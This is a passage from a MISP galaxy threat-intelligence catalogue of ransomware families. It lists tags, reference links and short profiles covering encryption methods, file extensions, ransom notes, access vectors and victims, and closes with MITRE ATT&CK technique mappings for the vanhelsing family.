The tag is: *misp-galaxy:ransomware="antibrok3rs"*

Table 13906. Table References

Links
https://www.ransomlook.io/group/antibrok3rs
https://www.resecurity.com/blog/article/cyber-threats-against-energy-sector-surge-global-tensions-mount

gangbang

The tag is: *misp-galaxy:ransomware="gangbang"*

Table 13907. Table References

Links
https://www.ransomlook.io/group/gangbang

zeoticus2

The tag is: *misp-galaxy:ransomware="zeoticus2"*

Table 13908. Table References

Links
https://www.ransomlook.io/group/zeoticus2

lokilocker

The tag is: *misp-galaxy:ransomware="lokilocker"*

Table 13909. Table References

Links
https://www.ransomlook.io/group/lokilocker

mimic

The tag is: *misp-galaxy:ransomware="mimic"*

Table 13910. Table References

Links
https://www.ransomlook.io/group/mimic

enciphered

aka xoriste

The tag is: *misp-galaxy:ransomware="enciphered"*

Table 13911. Table References

Links
https://www.ransomlook.io/group/enciphered

targetcompany

The tag is: *misp-galaxy:ransomware="targetcompany"*

Table 13912. Table References

Links
https://www.ransomlook.io/group/targetcompany

core

Core ransomware surfaced in early 2025 as a new variant within the broader Makop family. It employs a single-extortion model, focusing on encrypting files and demanding payment, without public data-leak threats. The malware appends the .core extension to encrypted files and is delivered via typical exploit vectors known to RaaS campaigns. Core does not showcase advanced double-extortion tactics seen in other modern strains, but it stands out for its familial lineage and continued evolution from Makop ancestors.

The tag is: *misp-galaxy:ransomware="core"*

Table 13913. Table References

Links
https://www.ransomlook.io/group/core
https://www.broadcom.com/support/security-center/protection-bulletin/core-ransomware-a-new-makop-variant

xelera

The tag is: *misp-galaxy:ransomware="xelera"*

Table 13914. Table References

Links
https://www.ransomlook.io/group/xelera

ralord

The tag is: *misp-galaxy:ransomware="ralord"*

Table 13915. Table References

Links
https://www.ransomlook.io/group/ralord

2023lock

2023Lock is a ransomware strain first observed in January 2024, believed to be an evolution of the Venus and Zeoticus families and a direct precursor to the later TrinityLock variant. It employs a hybrid encryption method combining XChaCha20 and curve25519xsalsa20poly1305, appending the “.2023lock” extension to encrypted files. Upon infection, it delivers ransom notes in HTML, TXT, and HTA formats containing decryption instructions. Unlike many modern ransomware groups, there is

no evidence that 2023Lock engages in double extortion or data exfiltration, operating purely through file encryption to pressure victims into payment. Its codebase and operational patterns strongly align with TrinityLock, which emerged a few months later with more sophisticated extortion tactics.

The tag is: *misp-galaxy:ransomware="2023lock"*

Table 13916. Table References

Links
https://www.ransomlook.io/group/2023lock
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/2023lock
https://cyble.com/blog/in-the-shadow-of-venus-trinity-ransomwares-covert-ties/
https://www.broadcom.com/support/security-center/protection-bulletin/2023lock-ransomware
https://www.hhs.gov/sites/default/files/trinity-ransomware-threat-actor-profile.pdf

silent ransom

The tag is: *misp-galaxy:ransomware="silent ransom"*

Table 13917. Table References

Links
https://www.ransomlook.io/group/silent ransom[https://www.ransomlook.io/group/silent ransom]

fakersa

The tag is: *misp-galaxy:ransomware="fakersa"*

Table 13918. Table References

Links
https://www.ransomlook.io/group/fakersa

proton

The tag is: *misp-galaxy:ransomware="proton"*

Table 13919. Table References

Links
https://www.ransomlook.io/group/proton

xollam

The tag is: *misp-galaxy:ransomware="xollam"*

Table 13920. Table References

Links
https://www.ransomlook.io/group/xollam

arcrypter

ArcRypt (also known as ARCrypter or ChileLocker) was first identified in August 2022, originally targeting government entities in Latin America and subsequently expanding globally. The group employs a single-extortion model—there is no evidence of a data-leak threat or RaaS ecosystem. The malware encrypts files using extensions such as .crypt, .crYpt, and .crYptA3, and uniquely drops the ransom note before commencing encryption. It has variants for both Windows and Linux, including a Go-based Linux version. Communication with victims occurs via Tor-based portals, evolving over time from a single shared site to individualized mirror sites for each victim. In some cases, threat actors have instructed victims to contact them using Tox, creating a Tox profile for communication. Targets have included Chile's government infrastructure, Colombia's Invima agency, and organizations in China and Canada.

The tag is: *misp-galaxy:ransomware="arcrypter"*

Table 13921. Table References

Links
https://www.ransomlook.io/group/arcrypter
https://blogs.blackberry.com/2022/11/arcrypter-ransomware-expands-its-operations-from-latin-america-to-the-world
https://cyble.com/blog/arcrypt-ransomware-evolves-with-multiple-tor-communication-channels
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom.win32.arcrypter.a

axxes

Axxes ransomware emerged as a rebranded version of the previously known Midas ransomware group, with roots also tracing back through Haron and Avaddon lineage. It operates via a single-extortion model, encrypting files and appending the .axxes extension. Victims receive both an "RESTORE_FILES_INFO.hta" and a ".txt" ransom note. The ransomware performs extra actions like determining the device's geolocation, modifying the Windows Firewall, changing file extensions, and terminating processes using taskkill.exe. Its known targets span the U.S., UAE, France, and China, including at least one high-profile victim—The H Dubai hotel. This group appears financially motivated, leveraging historical branding and code of earlier groups for its operations.

The tag is: *misp-galaxy:ransomware="axxes"*

Table 13922. Table References

Links
https://www.ransomlook.io/group/axxes

https://cloudsek.com/threatintelligence/axxes-ransomware-group-appears-to-be-the-rebranded-version-of-midas-group
https://www.hivepro.com/wp-content/uploads/2022/05/New-Ransomware-Group-Axxes-is-on-the-rise_TA2022106.pdf
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-29th-2022-new-operations-emerge/

spring

The tag is: *misp-galaxy:ransomware="spring"*

Table 13923. Table References

Links
https://www.ransomlook.io/group/spring

polyvice

The tag is: *misp-galaxy:ransomware="polyvice"*

Table 13924. Table References

Links
https://www.ransomlook.io/group/polyvice

faust

Faust is a variant of the well-known Phobos ransomware, part of a Ransomware-as-a-Service (RaaS) ecosystem active since around May 2019. Faust employs a double-extortion model, encrypting victim files and threatening to release stolen data if ransom demands are not met. It's distributed via Office document payloads using VBA scripts and known for its fileless attack delivery, enabling stealth and evasion.

The tag is: *misp-galaxy:ransomware="faust"*

Table 13925. Table References

Links
https://www.ransomlook.io/group/faust
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-060a
https://www.truesec.com/hub/blog/a-case-of-the-faust-ransomware
https://www.broadcom.com/support/security-center/protection-bulletin/faust-ransomware-a-phobos-family-variant

crazyhunter team

The tag is: *misp-galaxy:ransomware="crazyhunter team"*

Table 13926. Table References

Links
https://www.ransomlook.io/group/crazyhunter team[https://www.ransomlook.io/group/crazyhunter team]
https://www.trendmicro.com/en_us/research/25/d/crazyhunter-campaign.html
https://labs.withsecure.com/publications/crazyhunter-ransomware
https://darkreading.com/threat-intelligence/ransomware-gang-crazyhunter-critical-taiwanese-orgs
https://threats.wiz.io/all-incidents/crazyhunter-ransomware-group-targets-critical-sectors-in-taiwan
https://www.broadcom.com/support/security-center/protection-bulletin/crazyhunter-a-new-prince-ransomware-variant
https://www.pcrisk.com/removal-guides/32577-crazyhunter-ransomware
https://www.semperis.com/blog/hospital-cyberattacks-highlight-active-directory-security-importance

j ransomware

The tag is: *misp-galaxy:ransomware="j ransomware"*

Table 13927. Table References

Links
https://www.ransomlook.io/group/j ransomware[https://www.ransomlook.io/group/j ransomware]

phalcon

The tag is: *misp-galaxy:ransomware="phalcon"*

Table 13928. Table References

Links
https://www.ransomlook.io/group/phalcon

quoter

The tag is: *misp-galaxy:ransomware="quoter"*

Table 13929. Table References

Links

https://www.ransomlook.io/group/quoter

thunder x

The tag is: *misp-galaxy:ransomware="thunder x"*

Table 13930. Table References

Links
https://www.ransomlook.io/group/thunder x[https://www.ransomlook.io/group/thunder x]

cylance

The tag is: *misp-galaxy:ransomware="cylance"*

Table 13931. Table References

Links
https://www.ransomlook.io/group/cylance

paradise2

The tag is: *misp-galaxy:ransomware="paradise2"*

Table 13932. Table References

Links
https://www.ransomlook.io/group/paradise2

arkana security

The tag is: *misp-galaxy:ransomware="arkana security"*

Table 13933. Table References

Links
https://www.ransomlook.io/group/arkana security[https://www.ransomlook.io/group/arkana security]
https://cyjax.com/resources/blog/who-broke-the-internet-arkana-security-names-us-broadband-provider-on-new-dls/
https://vectra.ai/modern-attack/threat-actors/arkana-security
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/arkana-security
https://securityweek.com/new-ransomware-group-claims-attack-on-us-telecom-firm-wideopenwest/
https://cyberpress.org/arkana-ransomware-group-alleges-breach/

astralocker

AstraLocker first appeared in 2021, likely as a fork of Babuk ransomware using leaked source code. It follows a single-extortion, smash-and-grab approach: distributed directly via phishing Microsoft Word documents containing embedded OLE objects. Once executed, it kills security and backup processes, deletes shadow copies, and encrypts files using modified HC-128 and Curve25519 algorithms, appending extensions like .Astra or .babyk. A “smash-and-grab” style attack, it’s less methodical than more sophisticated campaigns—deploying ransomware immediately upon user action rather than conducting prolonged network reconnaissance. In mid-2022, the operator ceased ransomware operations, releasing decryptors and announcing a pivot to cryptojacking.

The tag is: *misp-galaxy:ransomware="astralocker"*

Table 13934. Table References

Links
https://www.ransomlook.io/group/astralocker
https://www.reversinglabs.com/blog/smash-and-grab-astralocker-2-pushes-ransomware-direct-from-office-docs
https://www.emsisoft.com/en/ransomware-decryption/astralocker/
https://www.infosecinstitute.com/resources/malware-analysis/astralocker-releases-the-ransomware-decryptors/
https://heimdalsecurity.com/blog/astralocker-ransomware-goes-offline-and-makes-decryptors-available/

superblack

The tag is: *misp-galaxy:ransomware="superblack"*

Table 13935. Table References

Links
https://www.ransomlook.io/group/superblack

vandev

The tag is: *misp-galaxy:ransomware="vandev"*

Table 13936. Table References

Links
https://www.ransomlook.io/group/vandev

jsworm

JSWorm is a ransomware family that first appeared in May 2019 and is notable for undergoing

multiple rebrands and evolutions, later appearing under names such as Nemty, Nefilim, Offwhite, Fusion, and Milihpen. Initially, it was distributed via malicious spam emails containing JavaScript files, hence the “JS” in its name. Later versions moved to targeted intrusions, leveraging compromised RDP services and vulnerable network appliances for initial access. JSWorm encrypts files using AES-256 encryption with RSA-2048 for key protection and appends campaign-specific extensions (e.g., .JSWORM, .Nemty, .Nephilim). The group adopted a double-extortion model in its later stages, stealing data before encryption and threatening to leak it via Tor-hosted sites. Its victimology spans various sectors worldwide, including manufacturing, energy, healthcare, and professional services. The continuous rebranding suggests an effort to evade detection, disrupt attribution, and maintain pressure on victims.

The tag is: *misp-galaxy:ransomware="jsworm"*

Table 13937. Table References

Links
https://www.ransomlook.io/group/jsworm
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/jsworm-nemty-rebrands-to-avoid-detection/
https://www.bleepingcomputer.com/news/security/jsworm-ransomware-rebrands-to-nemty-with-new-encryption-routines/
https://www.trendmicro.com/en_us/research/20/g/nefilim-ransomware-shifts-to-double-extortion.html

kuza

The tag is: *misp-galaxy:ransomware="kuza"*

Table 13938. Table References

Links
https://www.ransomlook.io/group/kuza

proxima

The tag is: *misp-galaxy:ransomware="proxima"*

Table 13939. Table References

Links
https://www.ransomlook.io/group/proxima

crynox

Crynox (sometimes referred to as “Crynox Ransomware”) appears to be a generic file-locker threat that appends .crynox to encrypted files and drops a ransom note (read_it.txt) instructing victims to contact crynoxWARE@proton.me. It seems to use RSA-4096 and AES for encryption and may change

desktop wallpaper, but there's no evidence of double-extortion or leak site operation. Distribution methods cited include phishing, pirated software, and malicious websites.

The tag is: *misp-galaxy:ransomware="crynox"*

Table 13940. Table References

Links
https://www.ransomlook.io/group/crynox
https://www.pcrisk.com/removal-guides/27862-ciphbit-ransomware
https://sensorstechforum.com/crynox-ransomware/
https://www.pcrisk.com/removal-guides/31766-crynox-ransomware
https://www.cyclonis.com/remove-crynox-ransomware/

zola

The tag is: *misp-galaxy:ransomware="zola"*

Table 13941. Table References

Links
https://www.ransomlook.io/group/zola

paradise

The tag is: *misp-galaxy:ransomware="paradise"*

Table 13942. Table References

Links
https://www.ransomlook.io/group/paradise

phantom

The tag is: *misp-galaxy:ransomware="phantom"*

Table 13943. Table References

Links
https://www.ransomlook.io/group/phantom

buddyransome

The tag is: *misp-galaxy:ransomware="buddyransome"*

Table 13944. Table References

Links
https://www.ransomlook.io/group/buddyransome

ailock

AiLock is a Ransomware-as-a-Service (RaaS) group first identified in March 2025. It employs a double-extortion approach—encrypting files and threatening to report breaches to regulators or share stolen data with competitors if the ransom isn't paid. Victims have just 72 hours to respond and up to five days to pay; failure to pay results in data leaks and destruction of recovery tools. The ransomware appends the extension .AiLock to encrypted files, changes file icons to a green padlock with the "AiLock" name, and replaces the desktop wallpaper with a distinctive robot-skull logo. It employs a hybrid encryption scheme, combining ChaCha20 for file encryption with NTRUEncrypt for securing metadata, and uses a multi-threaded design (path-traversal and encryption threads with IOCP) for efficiency. While active campaigns and leak sites are confirmed, specific sectors, regions, and intrusion methods remain undisclosed in public sources.

The tag is: *misp-galaxy:ransomware="ailock"*

Table 13945. Table References

Links
https://www.ransomlook.io/group/ailock
https://www.fortra.com/blog/ailock-ransomware
https://gbhackers.com/ailock-ransomware-emerges-with-hybrid-encryption-tactics/
https://medium.com/s2wblog/detailed-analysis-of-ailock-ransomware-1d3263beff15
https://s2w.inc/en/resource/detail/871

muliaka

The tag is: *misp-galaxy:ransomware="muliaka"*

Table 13946. Table References

Links
https://www.ransomlook.io/group/muliaka

darkwave

Written in python

The tag is: *misp-galaxy:ransomware="darkwave"*

Table 13947. Table References

Links
https://www.ransomlook.io/group/darkwave

mountlocker

The tag is: *misp-galaxy:ransomware="mountlocker"*

Table 13948. Table References

Links
https://www.ransomlook.io/group/mountlocker

oceans

The tag is: *misp-galaxy:ransomware="oceans"*

Table 13949. Table References

Links
https://www.ransomlook.io/group/oceans

nightspire

The tag is: *misp-galaxy:ransomware="nightspire"*

Table 13950. Table References

Links
https://www.ransomlook.io/group/nightspire

elcometa

The tag is: *misp-galaxy:ransomware="elcometa"*

Table 13951. Table References

Links
https://www.ransomlook.io/group/elcometa

cerbersyslock

CerBerSysLock first appeared in December 2017 as a cryptoransomware imposter, leveraging Cerber-style branding to deceive victims. It uses XOR-based encryption to lock files and appends extensions such as .CerBerSysLocked0009881. Victims receive a ransom note titled “HOW TO DECRYPT FILES.txt”, which falsely claims to be from the Cerber ransomware. The note includes an email contact—TerraBytefiles@scryptmail.com—and instructs victims to reference their ID (e.g., "CerBerSysLocked0009881") when communicating. The ransomware is technically linked to the Xorist family and is generally considered an opportunistic, low-profile scam rather than part of a broader Ransomware-as-a-Service (RaaS) operation.

The tag is: *misp-galaxy:ransomware="cerbersyslock"*

Table 13952. Table References

Links
https://www.ransomlook.io/group/cerbersyslock
https://www.2-spyware.com/remove-cerbersyslock-ransomware.html

mortalkombat

The tag is: *misp-galaxy:ransomware="mortalkombat"*

Table 13953. Table References

Links
https://www.ransomlook.io/group/mortalkombat

blackbit

BlackBit ransomware was first observed in August 2022 and is a .NET-based strain that closely mimics the design and functionality of LockBit 3.0, indicating either a fork of LockBit's leaked builder or deliberate imitation. It uses a double-extortion model, encrypting victim files and threatening to leak stolen data via a Tor-based site. BlackBit employs AES symmetric encryption for file contents and RSA asymmetric encryption for key protection, appending the .BlackBit extension to affected files. The malware also includes features for terminating processes, deleting volume shadow copies, and disabling recovery mechanisms. Initial access vectors are not comprehensively documented but are consistent with phishing, exploitation of vulnerable public-facing services, and the use of compromised credentials. Victims have been identified across various sectors, including technology, manufacturing, and professional services, though its activity level has been far lower than LockBit's.

The tag is: *misp-galaxy:ransomware="blackbit"*

Table 13954. Table References

Links
https://www.ransomlook.io/group/blackbit
https://www.trendmicro.com/en_us/research/22/i/blackbit-ransomware-a-lockbit-imitation.html
https://www.bleepingcomputer.com/news/security/blackbit-ransomware-imitates-lockbit-demands-bitcoin/

frag

The tag is: *misp-galaxy:ransomware="frag"*

Table 13955. Table References

Links
https://www.ransomlook.io/group/frag
https://cyjax.com/resources/blog/frag-explodes-onto-the-scene-new-dls-emerges-for-frag-ransomware/
https://securityaffairs.com/170717/malware/veeam-backup-replication-flaw-frag-ransomware.html
https://www.cybersecuritydive.com/news/veeam-cve-exploit-frag-ransomware/732670/

zixer2

The tag is: *misp-galaxy:ransomware="zixer2"*

Table 13956. Table References

Links
https://www.ransomlook.io/group/zixer2

wiki ransomware

The tag is: *misp-galaxy:ransomware="wiki ransomware"*

Table 13957. Table References

Links
https://www.ransomlook.io/group/wiki ransomware[https://www.ransomlook.io/group/wiki ransomware]

grep

The tag is: *misp-galaxy:ransomware="grep"*

Table 13958. Table References

Links
https://www.ransomlook.io/group/grep

dharma

Dharma is a prolific ransomware family active since at least 2016, evolving from the earlier CrySiS ransomware. It operates under a Ransomware-as-a-Service (RaaS) model, allowing affiliates to deploy customized builds with their own contact emails and extensions. Dharma typically appends encrypted files with patterns like .id-[victimID].[email].dharma or other campaign-specific suffixes. Initial access is often gained through exposed Remote Desktop Protocol (RDP) services secured with weak or stolen credentials, sometimes combined with brute-force attacks. The malware encrypts files using AES with RSA to secure the keys and drops ransom notes in text files and pop-up windows. Numerous variants have emerged over time, each linked to different affiliates, making

attribution difficult.

The tag is: *misp-galaxy:ransomware="dharma"*

Table 13959. Table References

Links
https://www.ransomlook.io/group/dharma
https://www.bleepingcomputer.com/news/security/dharma-ransomware-switches-to-the-aes-256-encryption-algorithm/
https://www.cisa.gov/news-events/alerts/aa23-259a
https://www.trendmicro.com/en_us/research/19/h/dharma-ransomware-continues-to-target-servers-via-open-rdp-ports.html

mario esxi

The tag is: *misp-galaxy:ransomware="mario esxi"*

Table 13960. Table References

Links
https://www.ransomlook.io/group/mario esxi[https://www.ransomlook.io/group/mario esxi]

rapture

The tag is: *misp-galaxy:ransomware="rapture"*

Table 13961. Table References

Links
https://www.ransomlook.io/group/rapture

delta

The tag is: *misp-galaxy:ransomware="delta"*

Table 13962. Table References

Links
https://www.ransomlook.io/group/delta

aptlock

Aptlock surfaced in early 2025 and is characterized by a single-extortion model combined with threats of data leakage. The ransomware encrypts files on Windows systems, appending the extension .aptlock, and then changes the victim's desktop wallpaper. Victims receive a ransom note named read_me_to_access.txt informing them that their critical company data has been exfiltrated

and will be deleted or leaked if they don't act. They are given 72 hours to initiate contact via Tor-based chat access (using credentials provided in the note), with further warnings issued if no engagement occurs within 5 days. Specific details about intrusion vectors, encryption algorithms used, or known affiliate operators remain undisclosed in public threat intelligence. No reliable evidence links Aptlock to Ransomware-as-a-Service operations or lists any known affiliates.

The tag is: *misp-galaxy:ransomware="aptlock"*

Table 13963. Table References

Links
https://www.ransomlook.io/group/aptlock
https://www.pcrisk.com/removal-guides/31862-aptlock-ransomware
https://www.enigmasoftware.com/aptlockransomware-removal/
https://www.isvworld.com/search/news/1543268-aptlock-ransomware
https://www.cyfirma.com/news/weekly-intelligence-report-07-feb-2025/

elpaco

Elpaco is a variant of Mimic ransomware that emerged around August 2023. Designed with significant customization and stealth in mind, it targets Windows systems by abusing the Everything search utility to optimize file discovery and accelerate encryption. Operators exploit various initial access methods—most notably RDP brute-force and the Zerologon vulnerability (CVE-2020-1472)—to gain access, escalate privileges, and deliver the payload. The ransomware uses a 7z SFX dropper, deploys multi-threaded encryption, disables recovery options, and self-deletes after execution, leaving victims with encrypted files bearing Elpaco-specific extensions. It's recognized for its adaptability and advanced features compared to earlier Mimic variants.

The tag is: *misp-galaxy:ransomware="elpaco"*

Table 13964. Table References

Links
https://www.ransomlook.io/group/elpaco
https://securelist.com/elpaco-ransomware-a-mimic-variant/114635/
https://hivepro.com/wp-content/uploads/2024/12/TA2024453.pdf
https://www.broadcom.com/support/security-center/protection-bulletin/elpaco-team-ransomware

fargo

Fargo is a ransomware variant that surfaced in 2022, primarily targeting Microsoft SQL Server (MSSQL) systems. Believed to be a variant of the TargetCompany ransomware family, Fargo uses brute-force or credential-stuffing attacks on exposed MSSQL instances to gain access, then executes payloads via SQL Server commands. Once deployed, it encrypts files using a combination of symmetric and asymmetric algorithms, appends the .Fargo3 (or similar) extension, and drops a

ransom note directing victims to contact operators via email. It also attempts to delete system backups and shadow copies to prevent recovery. Fargo has been observed targeting organizations in multiple sectors, with a concentration of victims in South Korea and other parts of Asia.

The tag is: *misp-galaxy:ransomware="fargo"*

Table 13965. Table References

Links
https://www.ransomlook.io/group/fargo
https://asec.ahnlab.com/en/44987/
https://www.bleepingcomputer.com/news/security/fargo-ransomware-targeting-ms-sql-servers/
https://any.run/malware-trends/fargo

secp0

The tag is: *misp-galaxy:ransomware="secp0"*

Table 13966. Table References

Links
https://www.ransomlook.io/group/secp0

freeworld

FreeWorld is a ransomware variant first observed in September 2023, and is believed to be derived from the Mimic ransomware family. It is deployed through coordinated campaigns dubbed DB#JAMMER, which exploit poorly secured Microsoft SQL (MSSQL) servers exposed to the internet. Attackers gain initial access via brute force, leverage the xp_cmdshell feature to execute shell commands, disable defenses, deploy remote access tools like Cobalt Strike and AnyDesk, and eventually deliver the FreeWorld payload. The ransomware encrypts files using hybrid encryption and appends the .FreeWorldEncryption extension. Victims receive a ransom note titled FreeWorld-Contact.txt, directing them on payment and data recovery steps.

The tag is: *misp-galaxy:ransomware="freeworld"*

Table 13967. Table References

Links
https://www.ransomlook.io/group/freeworld
https://www.broadcom.com/support/security-center/protection-bulletin/freeworld-ransomware
https://thehackernews.com/2023/09/threat-actors-targeting-microsoft-sql.html
https://www.securonix.com/blog/securonix-threat-labs-security-advisory-threat-actors-target-mssql-servers-in-dbjammer-to-deliver-freeworld-ransomware/
https://www.darkreading.com/cyberattacks-data-breaches/mssql-databases-under-fire-from-freeworld-ransomware

https://www.pcrisk.com/removal-guides/27581-freeworld-ransomware

colossus

Colossus ransomware was first observed in September 2021, when ZeroFox researchers uncovered the variant attacking a U.S.-based automotive group. It employs a double-extortion model, using Themida packing and sandbox evasion to disable defenses and deliver encrypted payloads. Victims are urged to visit a support site—hosted at a domain like colossus.support—to negotiate payment, or face large-scale data dumps and increasing ransom amounts tied to countdown timers. Operators demonstrated familiarity with RaaS playbooks, drawing architectural parallels to groups like EpsilonRed, BlackCocaine, and REvil/Sodinokibi.

The tag is: *misp-galaxy:ransomware="colossus"*

Table 13968. Table References

Links
https://www.ransomlook.io/group/colossus
https://www.zerofox.com/intelligence/flash-report-colossus-ransomware/
https://www.securityweek.com/colossus-ransomware-hits-automotive-company-us/
https://www.superantispyware.com/blog/what-is-colossus-ransomware/

globe

Globe is a ransomware family that first appeared in August 2016, notable for its highly customizable codebase that allows operators to configure ransom note text, encryption algorithms, and file extensions. Globe uses symmetric encryption (RC4 or AES) to lock files and typically appends custom extensions such as .GLOBE, .PURPLE, .HNY, or others set by the attacker. The malware is distributed through malicious spam emails with infected attachments, compromised websites, and exploit kits. Globe's flexibility made it attractive to low-skilled actors, resulting in many different variants in the wild. The family has primarily targeted small to medium-sized businesses and individual users across multiple regions, with no clear geographic focus.

The tag is: *misp-galaxy:ransomware="globe"*

Table 13969. Table References

Links
https://www.ransomlook.io/group/globe
https://www.bleepingcomputer.com/news/security/globe-ransomware-gives-you-the-opportunity-to-customize-your-encryption/
https://www.pcrisk.com/removal-guides/10512-globe-ransomware
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-globe

backmydata

BackMyData is a variant of the Phobos ransomware family, first observed in early 2024. It follows a double-extortion model: encrypting files and threatening data exposure. The ransomware primarily targets organizations via weak or misconfigured RDP access (e.g., remote desktop services), though phishing and initial-stage payloads like SmokeLoader have also been noted. Technical behavior includes AES-256 file encryption, with keys secured via a public RSA-2048 key embedded in the binary. Post-infection actions involve disabling firewalls, deleting volume shadow copies, inhibiting recovery functionality, and establishing persistence through registry Run keys and startup folder entries. Encrypted files receive the extension .BACKMYDATA, and victims are left with ransom notes (info.txt, info.hta, or .backmydata) that instruct them to contact attackers via email or Session Messenger. A significant incident involved a coordinated attack on Romania's Hipocrate Information System (HIS), impacting 26 hospitals and causing widespread system outages across nearly 100 facilities, with ransom demands of approximately 3.5 BTC (~$175,000).

The tag is: *misp-galaxy:ransomware="backmydata"*

Table 13970. Table References

Links
https://www.ransomlook.io/group/backmydata
https://www.sentinelone.com/anthology/backmydata/
https://gurucul.com/blog/backmydata-ransomware/
https://www.securityweek.com/ransomware-attack-knocks-100-romanian-hospitals-offline/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-060a

sundawn

The tag is: *misp-galaxy:ransomware="sundawn"*

Table 13971. Table References

Links
https://www.ransomlook.io/group/sundawn

mailto

The tag is: *misp-galaxy:ransomware="mailto"*

Table 13972. Table References

Links
https://www.ransomlook.io/group/mailto

hermes

Hermes is a ransomware family first observed in the wild in February 2017, believed to have been developed by a group operating out of Asia. It originally appeared as a Ransomware-as-a-Service (RaaS) offering on underground forums but later saw deployment in targeted attacks. Hermes uses AES-256 encryption to lock victim files and appends a variety of extensions (including .hrm and campaign-specific variants). The ransom note, often named DECRYPT_INFORMATION.html or DECRYPT_INFORMATION.txt, provides payment instructions via email. The ransomware gained notoriety in 2018 when it was used as a destructive wiper in the Far Eastern International Bank (FEIB) heist in Taiwan, where attackers deployed Hermes to cover their tracks after a SWIFT fraud operation. Over time, Hermes code has been re-used and integrated into other ransomware families, including some Ryuk builds, suggesting code sharing or purchase from the original developer. Distribution vectors have included phishing campaigns, malicious attachments, and exploitation of RDP services.

The tag is: *misp-galaxy:ransomware="hermes"*

Table 13973. Table References

Links
https://www.ransomlook.io/group/hermes
https://www.trendmicro.com/en_us/research/18/b/hermes-ransomware.html
https://www.symantec.com/blogs/threat-intelligence/hermes-ransomware
https://www.bleepingcomputer.com/news/security/hermes-ransomware-used-as-a-wiper-in-taiwan-bank-heist/

obsidian orb

The tag is: *misp-galaxy:ransomware="obsidian orb"*

Table 13974. Table References

Links
https://www.ransomlook.io/group/obsidian orb[https://www.ransomlook.io/group/obsidian orb]

babylockerkz

BabyLockerKZ is a variant of MedusaLocker ransomware, first observed in late 2023. It operates under a double-extortion model, combining file encryption with data exfiltration and extortion. Technically, it reuses MedusaLocker's AES + RSA-2048 hybrid encryption, appends the .hazard file extension to encrypted files, and includes a unique autorun registry key ("BabyLockerKZ") alongside dedicated public/private key data inserted into registry values. Initial access is achieved through opportunistic methods like RDP compromises, with lateral movement facilitated by compromised credentials and tools such as Mimikatz. The variant employs a custom toolkit codenamed paid_memes, which includes tools like "Checker" for scanning credentials, facilitating automation, and bridging toolsets for further exploitation. Starting late 2022, its operators have

compromised over 100 organizations per month, initially targeting European victims before shifting toward Latin America in 2023.

The tag is: *misp-galaxy:ransomware="babylockerkz"*

Table 13975. Table References

Links
https://www.ransomlook.io/group/babylockerkz
https://blog.talosintelligence.com/threat-actor-believed-to-be-spreading-new-medusalocker-variant-since-2022/
https://www.scworld.com/news/medusalocker-ransomware-variant-paired-with-paid_memes-toolkit

b0 group

The tag is: *misp-galaxy:ransomware="b0 group"*

Table 13976. Table References

Links
https://www.ransomlook.io/group/b0 group[https://www.ransomlook.io/group/b0 group]
https://www.porthas.com/blog/b0-ransomware-decryption/

offwhite

The tag is: *misp-galaxy:ransomware="offwhite"*

Table 13977. Table References

Links
https://www.ransomlook.io/group/offwhite

mcrypt2019

The tag is: *misp-galaxy:ransomware="mcrypt2019"*

Table 13978. Table References

Links
https://www.ransomlook.io/group/mcrypt2019

vanhelsing

Designed to target Windows systems, this ransomware employs advanced encryption techniques and appends a unique file extension to compromised files. Its stealthy evasion tactics and persistence mechanisms make detection and removal challenging. This highlights the need for

proactive cybersecurity measures and a robust incident response strategy to safeguard data integrity and minimize breach risks.

The tag is: *misp-galaxy:ransomware="vanhelsing"*

View relationships graph

vanhelsing has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Direct Volume Access - T1006" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-

probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="very-likely"
